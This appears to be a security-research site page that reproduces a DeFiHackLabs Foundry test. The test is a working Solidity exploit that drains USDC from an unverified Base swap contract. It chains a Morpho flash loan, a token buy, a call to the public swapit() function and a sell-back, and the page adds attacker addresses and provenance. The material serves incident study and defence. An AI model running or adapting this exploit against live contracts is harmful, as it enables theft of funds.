Public reproduction file
src/test/2025-03/unverified_de7c_exp.sol
Public reproduction file for dataset entry unverified.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4// @KeyInfo - Total Lost : 980.32 USDC5// Attacker : 0x97d8170e04771826A31C4c9B81E9f9191a1C86136// Attack Contract : 0x123c06D5CA1Dd1a518118e786A1976BED5e16aA37// Vulnerable Contract : 0xdE7CA40aE3C3430723A2d1E3AE0e6e27152744B08// Attack Tx : https://basescan.org/tx/0x6f027b83222ea0eea50fe673d7e14836357e55c50a551ab3e2f9623b5854b6139//10// @Info11// Vulnerable Contract Code : https://basescan.org/address/0xdE7CA40aE3C3430723A2d1E3AE0e6e27152744B0#code12//13// @Analysis14// Twitter Guy : https://t.me/defimon_alerts/56015//16// Attack summary: The attacker flash-bought OFFICIALYE, called public swapit() on an unverified swap helper that sold its own USDC through the same Aerodrome pool, then sold OFFICIALYE back for USDC profit.17// Root cause: Public swapit() allowed any caller to trigger a contract-owned USDC swap through Aerodrome, letting the caller choose the timing and harvest the price impact.19import "../basetest.sol";20import "../interface.sol";22address constant ATTACKER = 0x97d8170e04771826A31C4c9B81E9f9191a1C8613;23address constant MORPHO_BLUE = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;24address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;25address constant OFFICIALYE_TOKEN = 0xedb54f9ffA78f0A0d50dC0c1534f4cBAd2ff3F35;26address constant VULNERABLE_SWAPPER = 0xdE7CA40aE3C3430723A2d1E3AE0e6e27152744B0;27address constant AERODROME_ROUTER = 0xcF77a3Ba9A5CA399B7c97c74d54e5b1Beb874E43;28address constant AERODROME_FACTORY = 0x420DD381b31aEf6683db6B902084cB0FFECe40Da;30interface IAerodromeRouter {31 struct Route {32 address from;33 address to;34 bool stable;35 address factory;36 }38 function swapExactTokensForTokens(39 uint256 amountIn,40 uint256 amountOutMin,41 Route[] calldata routes,42 address to,43 uint256 deadline44 ) external returns (uint256[] memory amounts);45}47interface IUnverifiedDe7cSwapper {48 function swapit() external;49}51contract ContractTest is BaseTestWithBalanceLog {52 function setUp() public {53 uint256 forkBlock = 27_235_725;54 vm.createSelectFork("base", forkBlock);56 fundingToken = USDC_TOKEN;57 attacker = ATTACKER;59 vm.label(ATTACKER, "Attacker");60 vm.label(MORPHO_BLUE, "Morpho Blue");61 vm.label(USDC_TOKEN, "USDC");62 vm.label(OFFICIALYE_TOKEN, "OFFICIALYE");63 vm.label(VULNERABLE_SWAPPER, "Unverified swapit target");64 vm.label(AERODROME_ROUTER, "Aerodrome Router");65 }67 function testExploit() public balanceLog {68 uint256 beforeBalance = IERC20(USDC_TOKEN).balanceOf(ATTACKER);70 // step 1: deploy a fresh helper and borrow the same USDC amount from Morpho.71 vm.startPrank(ATTACKER, ATTACKER);72 OfficialYeSwapitAttack attackHelper = new OfficialYeSwapitAttack();73 attackHelper.execute(3_300_000_000);74 vm.stopPrank();76 // step 4: Morpho is repaid and the helper forwards the remaining USDC to the attacker.77 uint256 profit = IERC20(USDC_TOKEN).balanceOf(ATTACKER) - beforeBalance;78 assertGt(profit, 900_000_000, "USDC profit");79 }80}82contract OfficialYeSwapitAttack {83 address private immutable owner;85 constructor() {86 owner = msg.sender;87 }89 function execute(90 uint256 flashLoanAmount91 ) external {92 require(msg.sender == owner, "only owner");94 IERC20(USDC_TOKEN).approve(MORPHO_BLUE, type(uint256).max);95 IMorphoBuleFlashLoan(MORPHO_BLUE).flashLoan(USDC_TOKEN, flashLoanAmount, abi.encode(VULNERABLE_SWAPPER));97 uint256 remainingUsdc = IERC20(USDC_TOKEN).balanceOf(address(this));98 IERC20(USDC_TOKEN).transfer(owner, remainingUsdc);99 }101 function onMorphoFlashLoan(102 uint256 assets,103 bytes calldata data104 ) external {105 require(msg.sender == MORPHO_BLUE, "only Morpho");106 address vulnerableSwapper = abi.decode(data, (address));108 IERC20(USDC_TOKEN).approve(AERODROME_ROUTER, type(uint256).max);109 IERC20(OFFICIALYE_TOKEN).approve(AERODROME_ROUTER, type(uint256).max);111 // step 2: buy OFFICIALYE before triggering the vulnerable contract's own swap.112 IAerodromeRouter.Route[] memory buyRoute = new IAerodromeRouter.Route[](1);113 buyRoute[0] =114 IAerodromeRouter.Route({from: USDC_TOKEN, to: OFFICIALYE_TOKEN, stable: false, factory: AERODROME_FACTORY});115 IAerodromeRouter(AERODROME_ROUTER)116 .swapExactTokensForTokens(assets, 1, buyRoute, address(this), block.timestamp + 1000);118 // step 3: anyone can call swapit(), forcing the target to swap its own USDC balance.119 IUnverifiedDe7cSwapper(vulnerableSwapper).swapit();121 uint256 officialYeBalance = IERC20(OFFICIALYE_TOKEN).balanceOf(address(this));122 IAerodromeRouter.Route[] memory sellRoute = new IAerodromeRouter.Route[](1);123 sellRoute[0] =124 IAerodromeRouter.Route({from: OFFICIALYE_TOKEN, to: USDC_TOKEN, stable: false, factory: AERODROME_FACTORY});125 IAerodromeRouter(AERODROME_ROUTER)126 .swapExactTokensForTokens(officialYeBalance, 1, sellRoute, address(this), block.timestamp + 1000);127 }128}Analysis
Dataset entry
Public Foundry test for “unverified” (2025-03-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x97d8170e04771826a31c4c9b81e9f9191a1c8613
- Attack Contract
0x123c06d5ca1dd1a518118e786a1976bed5e16aa3
- Vulnerable Contract
0xde7ca40ae3c3430723a2d1e3ae0e6e27152744b0
- Attack Tx
0x6f027b83222ea0eea50fe673d7e14836357e55c50a551ab3e2f9623b5854b613
File record
- Name
- unverified
- Path
- src/test/2025-03/unverified_de7c_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 47463c15d73267f25084042aa824bf94bd96bb64
- Language
- Solidity
- Size
- 129 lines
- Date
- 2025-03-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/unverified_de7c_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 47463c15d73267f25084042aa824bf94bd96bb64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.